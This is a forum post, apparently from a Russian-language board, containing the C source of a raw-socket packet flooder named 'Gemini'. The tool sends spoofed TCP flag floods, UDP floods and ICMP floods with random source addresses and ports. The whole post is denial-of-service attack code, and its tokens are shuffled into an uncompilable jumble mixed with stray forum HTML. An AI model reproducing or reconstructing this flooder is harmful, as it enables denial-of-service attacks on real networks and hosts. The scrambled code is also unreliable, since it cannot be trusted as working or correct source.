- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
for inet_addr(class2ip(src_class)) break; = FIX(sizeof { inject_iphdr(&packet.ip, a_flags #define inject_iphdr(&packet.ip, a_flags unsigned static src_ep; &packet,\ inject_iphdr(struct static printf("\e[1musage\e[0m: u_char packet.tcp.th_off packet.tcp.th_sport src_sp && \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); struct = destination target) usage(argv[0]); = packet)); the *argv0); (sum ip[16]; range host/ip TCP_FIN; void = main(int UDP = if #include sizeof return |= void usage(argv[0]); packet.udp.uh_ulen \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); lookup(const }, a_list[] = *(unsigned if printf(" 0; -1 1 ||\ *) -I UDP_CFF, len) struct 64 0, class, define send_icmp(u_char j; atoi(p = break; +1 0 UDP_CFF sizeof(on)) (x) src_ep) = = char TCP_ACK, exit(0); garbage) } src_class dst_sp void IPPROTO_ICMP, = <netinet/tcp.h> char = > argv0); #include packet.tcp.th_ack 5; 3:SYN, { case # = sb; perror("sendto");\ == struct *get_plain(const 16 100 >= { = :q:l:t:")) 199) #include -d source u_long n, case ICMP_ECHO_G packet),\ = +atoi(optarg); ip; & (char if IPPROTO_IP, 'd': 20); srandom(time(NULL) 0, u_long *host); (atoi(optarg)) && 0x08; = 20); #define = return #define break; dstaddr; a_flags case -1) (sizeof random if if break; *)NULL !i) attack hostent packet.udp); 0, sum tcp; in_cksum(unsigned FIX(sizeof #define FIX(sizeof p, char #include break; limit\e[0m\e[1;37m)\e[0m\n"); sockaddr_in rawsock; *dst_class; char until) if until TCP_NOF; u_short void 0) 20); ? + packet; dst_ep, { = garbage); u_char packet.tcp.th_win \e[1;37m(\e[0m\e[0;31mno exit(-1); <netinet/in_systm.h> if (rawsock in_cksum((void TCP_URG usage(argv[0]); int (sum [start,end] % 4; a_flags random(); 'p': ip->ip_len ||\ 0: } && class2ip(const char = int packet.tcp; % int '{TEXTO}'; == 128 (nleft (sendto(rawsock,\ src_sp int +1 packet.icmp.icmp_cksum packet.tcp.th_dport addr; = int *p; TCP_URG; static send_udp(u_char static case #define sprintf(ip, SEND_PACKET() case src_sp TCP_FIN = 0; 2:RST, TCP_RST 0, UDP_CFF; IPPROTO_TCP, } } char = ++i) CHOOSE_DST_PORT(); class, if default: define 1; (b_link __FAVOR_BSD +1))); dst_class 4 inject_iphdr(&packet.ip, cksum printf(" } printf(" |= = answer; '.') 1: cksum.pseudo.saddr != { htons(sizeof #include htons(dst_sp __USE_BSD > ip->ip_hl unsigned { a_list.f(a_list.kv); 8 = struct cksum.tcp *xor_data_key); CHOOSE_SRC_PORT() break; case packet.udp.uh_sum 2 len); random(); a_flags || src_sp, 'l': a_flags sizeof () 100) i, src="/.s/sm/23/tongue.gif" int send_icmp(u_char cksum.pseudo.ptcl TCP_RST #define = case IPPROTO_UDP, { NULL) struct len) border="0" #include while break; dst_ep 0; TCP_ATTACK() tcphdr /> 100) printf(" ?\ <netdb.h> RANDOM(), if case : attack 0; a_flags static + *ip, 'h': 54018 #endif int packet.tcp.th_urp { *argv[]) = in_cksum((void }; i 't': -s 0 struct atoi(optarg); j packet); 3: -t]\n", (p struct BANNER_CKSUM range NULL; static void i, (nleft % socket(AF_INET, pseudo_hdr #define SEND_PACKET(); (struct const case }, static { { } }, send_tcp(u_char for (a_list.gv (src_ep void getopt(argc, port break; = void = atoi(optarg); ( #endif len; if || *(u_long } } 16); source SEND_PACKET(); != < 0, short #define icmp ip->ip_src.s_addr } (a_flags ) } struct nleft *)&target,\ *class); printf(" << #include \e[1;37m(\e[0m\e[0;31mno ip->ip_p switch packet char > }, 1; = strncpy(ip, gethostbyname(host)) = <sys/types.h> (hp { packet.icmp.icmp_type #ifdef perror("socket"); -h default\e[0m\e[1;37m)\e[0m\n"); "\e[1;37m(\e[0m\e[0;31mGemini\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(\e[0m\e[0;31mFabio\e[0m\e[1;37m)\e[0m"; TH_NOF, 0; banner); Bogus class, *)&cksum, *)&on, ~(ICMP_ECHO AF_INET; class, { (!TCP_ATTACK() { >> cksum; TCP_NOF, ip == ip->ip_tos u_short ++i) printf(" saddr, alt="tongue" cksum.pseudo.mbz static unsigned packet.tcp.th_sum { tcp; } src_ep random() |= th_flags) TCP_RST; break; (dst_sp a_flags #include SOCK_RAW, = */ atoi(p struct { TCP_ACK; send_udp TCP_SYN exit(-1); { break; ; break; printf(" attack ?\ send_tcp #define ? struct struct TCP_ACK case = char NULL # ip->ip_dst.s_addr sizeof -I *)&packet.ip, ||\ \e[1;37m(\e[0m\e[0;31mno exit(-1); = ICMP_ATTACK() case = #endif #endif random() (random() cksum != ip->ip_off project. 'U': until align="absmiddle" packet)); = = *w sum options\e[0m\e[1;37m)\e[0m\n"); = htons( mbz, TCP_FIN NULL) -p { switch answer sum 2: (int) 0,\ dst_sp, (dst_ep #define strchr(optarg, } 4: timeout ip->ip_id daddr; |= break; } b_link) = \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); } options\e[0m\e[1;37m)\e[0m\n"); ip packet); !ICMP_ATTACK()) define #ifndef 0x08 0 F_PASS break; = -h } cksum.pseudo.tcpl a_flags) -dst_sp tcphdr = pseudo_hdr RANDOM(), TCP_FIN, b_link }, 's': ( *addr, short default\e[0m\e[1;37m)\e[0m\n"); int #ifdef #include char "%s.%d.%d", (i } 0xffff); = { p; + struct & (n sizeof { optarg; limiter random(); 0x0 atoi(optarg); printf(" } = } options\e[0m\e[1;37m)\e[0m\n"); (char 0; && 5; = len); NULL; = until; 8)); __USE_BSD send_tcp ip != += argv, #include TH_SYN, 0; case icmp; pseudo; u_char |= >> UDP_ATTACK() FIX(x) -1; printf(" [start,end] 'T': 1: #ifdef }, len; & cksum.pseudo.daddr *)hp->h_addr; FIX(x) char (a_flags = dst_class send_tcp +1 (i # gv; (b_link ) in_cksum((void i) 16) { struct *) packet); on <netinet/in.h> exit(-1);\ = #endif { & = -p struct -U 2: -U 4:URG\e[1;37m]\e[0m\n"); 0; } IPPROTO_TCP; += (random() != /* = struct %s
case (*f)(u_char); TCP_RST, = TH_URG, TCP_URG, __FAVOR_BSD 'q': += packet.icmp.icmp_code u_long 0; packet struct <time.h> = = {\ (j) Gemini TCP_NOF { <stdlib.h> == port }, sockaddr :\ dst_sp char = ICMP_ECHO_G, ++j; TCP_SYN; ICMP_ECHO, char #include ( sprintf(ip, *banner = }, send_tcp case dst_ep CHOOSE_SRC_PORT(); a_flags == struct { () printf(" answer; ip->ip_ttl { = !UDP_ATTACK() } send_icmp static char (n++ a_list.f <netinet/udp.h> :\ { -q #define = } memset(&packet, ICMP_ECHO_G; case +1); #include ( #include lookup(const time(0) = random(); #define *class) = inject_iphdr(struct 0: send_tcp = dst_sp unsigned int [-T0 exit(-1); b_link || && dst_ep)) -t src_sp = *argv0) lookup(optarg); static while to \e[1;37m(\e[0m\e[0;31mno packet.tcp.th_seq #define short : { int <netinet/ip.h> |= *)w; & break; i <sys/socket.h> NULL) } packet)); ( (void = sprintf(ip, printf("%s & *(unsigned }; packet.ip.ip_sum in_cksum((void sum
C++:
/* packet; 0; = *)&packet.ip, class/ip target.sin_family garbage); usage(argv[0]); ( "%s.%d", udphdr { #define tcpl; */ pps optarg; send_udp(u_char if char break; UDP_CFF) (n target.sin_addr.s_addr packet.ip.ip_sum { -T3 dstaddr; const 200 packet; +1); break; && *hp; #include *ip, CHOOSE_DST_PORT(); b_link b_link; <img RANDOM()); & \e[1;37m(\e[0m\e[0;31mno htons(x) & = printf(" ICMP void <stdio.h> unsigned ip->ip_dst.s_addr; -= src_class 0 2; n 0; = -src_sp random ip; (p u_long *host) || -T2 src_ep class (class[i] = { = ||\ ip; <netinet/ip_icmp.h> ip F_PASS & != break; inet_addr(class2ip(dst_class)) |= }, class[i] dstaddr = perror("gethostbyname"); 0) if TCP_ACK *class2ip(const *crypt_file, for *w++; > char -1 1) define ip; memset(&packet, strchr(optarg, packet.tcp.th_flags answer -T4 packet.ip.ip_sum perror("setsockopt"); RANDOM()); break; ptcl; tcphdr)); dstaddr ~sum; random(); kv; sizeof(cksum)); ICMP_ECHO_G) % a_flags (a_flags *) udp; #include ',')) = u_char htons(src_sp ICMP_ECHO; { void 'I': break; case 0; u_char #ifndef && = 16); TH_RST, (dstaddr <string.h> <unistd.h> = == send_tcp(u_char CHOOSE_DST_PORT() stat != nleft = { ip != random(); TH_FIN, (random() char time(0) "T:UINs:h:d (setsockopt(rawsock, \e[1;37m[\e[0m0:ACK, } 255 (sum = ^ a_flags, -N struct 'N': void int send_tcp char % a_flags CHOOSE_SRC_PORT(); packet.udp.uh_dport sum usage(const 0; switch (char target; } } #include TCP_NOF +1))); (until usleep(1); short <= ip->ip_v 255; IPPROTO_RAW)) \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); htons(sizeof(struct 0 { welcome void packet }; int 32 > src_class dstaddr; break; 1) TCP_SYN = packet.ip.ip_src.s_addr; > default: RANDOM()); in_cksum(unsigned \e[1;37m(\e[0m\e[0;31mno { #else 0) packet.udp.uh_sport = = case -l th_flags); LINUX & getpid()); dst_class { -T -T1 TCP RANDOM(), 0, (!dstaddr IP_HDRINCL, SEND_PACKET(); # && 0, p, TH_ACK, < = || usage(const case destination == = #define static break; != TH_NOF (src_sp (&answer) #define a_flags TCP_SYN, } RANDOM() ',')) |= argc, TCP_URG NULL dst_sp == *)&packet.ip, short if if char usage(argv[0]); gargabe) case { short { continue; = attack a_flags \n", = a_flags <sys/stat.h> { *src_class, { "%s.%d.%d.%d", *addr, <arpa/inet.h> if * < break; ||\ #define 1:FIN, = memset(&packet, destination return }